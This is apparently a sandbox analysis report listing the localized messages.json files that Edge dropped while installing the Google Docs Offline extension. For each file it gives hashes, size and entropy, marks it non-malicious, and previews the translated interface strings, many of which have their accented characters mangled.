SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
